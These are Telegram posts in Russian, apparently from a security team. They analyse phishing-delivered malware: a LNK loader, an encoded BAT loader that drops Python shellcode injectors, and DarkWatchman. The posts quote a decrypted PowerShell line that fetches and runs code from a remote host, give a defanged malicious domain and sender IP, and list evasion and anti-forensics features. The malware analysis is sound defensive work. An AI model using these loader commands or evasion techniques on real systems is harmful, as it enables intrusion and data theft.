Основным вектором атаки в них выступает фишинговая рассылка. Файлы, приложенные к письму, обычно упакованы в ZIP-архив, иногда архив защищен паролем для обхода СЗИ (пароль указывается в тексте сообщения).
Материал большой, поэтому мы разделили его на две части по сценариям. Полное исследование можно прочитать в нашей статье на Хабре.
В качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Выполнение запускается через CMD или PowerShell, но возможны и другие методы. Часто применяются способы сокрытия команд — кодирование, обфускация или шифрование, что затрудняет детектирование средствами защиты информации.
Для просмотра содержимого можно использовать hex-редактор, команды
xxd или cat в Unix-подобных системах. Некоторые hex-редакторы отображают не сам LNK-файл, а содержимое файла, на который он ссылается, — будьте внимательны.На рисунке 1 представлен фрагмент содержимого вредоносного LNK-файла, открытый при помощи hex-редактора. На рисунке 2 — фрагмент содержимого вредоносного LNK-файла, открытый при помощи утилиты
cat. Скопируем сценарий и приведем его в более удобный для чтения вид.Сценарию передаются два аргумента —
a и b в base64, где a — зашифрованный сценарий, b — ключ (рисунок 3). Также создается объект System.Security.Cryptography.AesManaged для работы с AES. Аргументы записываются в переменные $a и $b.Для дешифровки используем PowerShell, немного изменив команды и исключив
Invoke-Expression $h, чтобы избежать выполнения основного сценария.На рисунке 4 представлен расшифрованный вредоносный сценарий:
$script = Invoke-WebRequest -Uri 'https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt' -UseBasicParsing.
Invoke-Expression $script.Content считывает содержимое файла с удаленного ресурса и выполняет его.Дополнительную нагрузку можно получить для анализа, либо заменив
Invoke-Expression $script.Content на echo $script.Content в PowerShell, либо использовав curl, либо скачав из браузера (но на момент исследования вредоносная нагрузка, к сожалению, была недоступна).Также отметим, что переменная
$KEYIV (рисунок 3), скорее всего, является ключом для расшифровки сценария в указанном файле.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3🔥2👍1
В первой части мы рассмотрели, как в качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Теперь рассмотрим сценарий, в котором загрузчиком выступает BAT-файл с обфускацией.
Рассмотрим сценарий доставки и исполнения основных вредоносных модулей.
Загрузчиком выступает командный BAT-файл. Злоумышленники не применяют сложную обфускацию, а меняют кодировку текста. Если мы попытаемся просмотреть содержимое с помощью стандартных средств, например через Notepad, то едва ли сможем что-либо прочитать (рисунок 5).
Чтобы получить читаемые данные, воспользуемся ресурсом CyberChef и плагином Text_Encoding_Brute_Force (рисунок 6). Скопируем полученную информацию в текстовый редактор и приведем код в читаемый вид.
1) попытка открыть любой PDF-файл в
%USERPROFILE%\Downloads (предположительно, для отвлечения);2) поиск процессов антивирусов;
3) загрузка файлов из интернета;
4) разархивация и перемещение;
5) запуск Python-скриптов;
6) загрузка дополнительных модулей;
7) размещение в автозапуске;
8) повторная загрузка и разархивация файлов.
Содержимое файла
startuppp.bat (рисунок 8), добавленного в автозапуск, также закодировано. На рисунке 9 — команды в файле после преобразования.Из команд в
startuppp.bat видно, что файл отвечает за запуск последних загруженных и разархивированных Python-скриптов. На момент исследования все файлы доступны и их можно скачать, например, через браузер.Рассмотрим содержимое архива
FTSP.zip (рисунок 10). Следует обратить внимание на файлы: fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py. При открытии любого из них видно, что это скомпилированные Python-файлы. Фрагмент содержимого yam1.py показан на рисунке 11.Воспользуемся ресурсом для декомпиляции PyLingual. Для примера возьмем файл
yam1.py, предварительно изменив расширение на .pyc (рисунок 12).Если внимательно изучить код на рисунке 12, можно увидеть
class Kramer. После анализа кода становится ясно, что к файлу применена обфускация с помощью приложения Kramer.Воспользуемся деобфускатором kramer-specter_deobf. После деобфускации получаем код на рисунке 13. Из кода видно, что скрипт расшифровывает шеллкод, записывает его в память и запускает. Алгоритм одинаков для всех файлов. Расшифрованный шеллкод можно получить способом, показанным на рисунке 14, и проанализировать в дизассемблере или отладчике.
При динамическом анализе становится ясно, что все указанные вредоносные файлы работают одинаково. После запуска, в зависимости от условий (рисунок 9), каждый модуль запускает
notepad.exe и внедряет в него код. В результате получаем шесть процессов notepad.exe с разными PID. Особенность заключается в применении техники parent process spoofing, из-за чего родительским процессом кажется Explorer.exe, что усложняет детектирование.К такому выводу приводит проведенный анализ. Мы разобрали два сценария: в одном использован LNK-файл, в другом — BAT-файл. В обоих случаях злоумышленники применяют техники сокрытия вредоносного кода для обхода автоматизированных СЗИ. И этого может быть достаточно для успешных атак. Детальный ручной анализ помогает выявить тактики и техники злоумышленников, получить дополнительные индикаторы компрометации — и построить надежную защиту.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👏2🔥1
Продолжаем делиться нашими исследованиями: сегодня рассказываем об атаке, основанной на фишинговой рассылке вредоносного программного обеспечения DarkWatchman (Buhtrap).
Часть первая
На рисунке 1 — фрагмент фишингового письма. В первую очередь определим почтовый сервер отправителя и соотнесем его с электронным адресом на предмет подмены (spoofing). Для этого просмотрим заголовок электронного письма — с помощью стандартных средств Outlook («Файл» → «Свойства») или специализированных программ.
Видим, что рассылка идет с сервера ponyexpress.website и соответствует электронному адресу отправителя; IP-адрес — 195.19.93.148 (рисунок 2). Далее можно получить информацию об этом IP-адресе, например с помощью AbuseIPDB (рисунок 3).
Вложение в электронном письме — это ZIP-архив, содержащий ВПО. Исследуемый образец DarkWatchman — это SFX-архив с инсталляционным скриптом и основным модулем на JavaScript. В ресурсах добавлена иконка PDF-файла, по умолчанию включено «Скрывать расширение для зарегистрированных типов файлов» — это позволяет обмануть пользователя.
Посмотреть ресурсы исполняемого файла можно при помощи программы ProcessHacker (рисунок 4), получить сведения о файле (о компиляторе, языке программирования, используемом для написания ПО, и других параметрах) — при помощи Detect It Easy, PE-bear и пр. (рисунок 5).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👍2⚡1
Часть вторая
Для анализа ВПО, упакованного в SFX-архив, можно воспользоваться WinRAR — увидим сценарий, который будет выполнен при запуске ВПО (рисунок 6). Сценарий указывает на добавление исключения для системного диска при помощи PowerShell и на запуск файла 4157934657 при помощи
wscript. Так как wscript отвечает за запуск скриптов, можно предположить, что 4157934657 — скрипт. Извлечем его из архива и проанализируем.Сокрытие строк реализовано через XOR. Для анализа можно использовать онлайн-компилятор и поэтапно изучить строки. Сначала разберем часть скрипта с вычислением ключа для расшифровки основного модуля (фрагмент — на рисунке 7).
Для расшифровки используем ресурс OneCompiler. На рисунке 8 — метод расшифровки (слева) и полученные строки (справа). Теперь поправим скрипт, записав полученные строки.
Далее преобразуем вредоносный скрипт для расшифровки основного модуля из переменной
var i1a0a864a="db460075cc43160ac6420b6edb460075df42150acf460130f24c172c…";. Расшифровку проведем также через OneCompiler (рисунок 9). Анализ показал, что ВПО многофункционально. Наиболее интересны алгоритм генерации доменов (DGA) и использование DynamicWrapperX (рисунок 10).
Также ВПО умеет работать с WinAPI при помощи DynamicWrapperX с использованием
dynwrapx.dll. Суть алгоритма: в ответе командного сервера могут быть дополнительные модули; ВПО выделяет память в процессе, записывает в нее команды (код) от командного сервера и исполняет их при помощи WinAPI.— очистка журналов событий;
— удаление теневых копий;
— использование планировщика заданий для автозагрузки;
— очистка истории браузеров (Chrome, Yandex, Firefox, Edge);
— загрузка и исполнение файлов;
— работа с командной строкой;
— кейлоггер.
Атака начинается с фишингового письма с вложением: ВПО доставляется через SFX-архив и запускается скриптами. Для избежания детектирования автоматизированными СЗИ и усложнения статического анализа DarkWatchman использует XOR-шифрование строк, а для стабильного сетевого взаимодействия — генератор доменных имен. И конечно, все это дополняется большим набором функций для взаимодействия с оператором.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤4👏2🔥1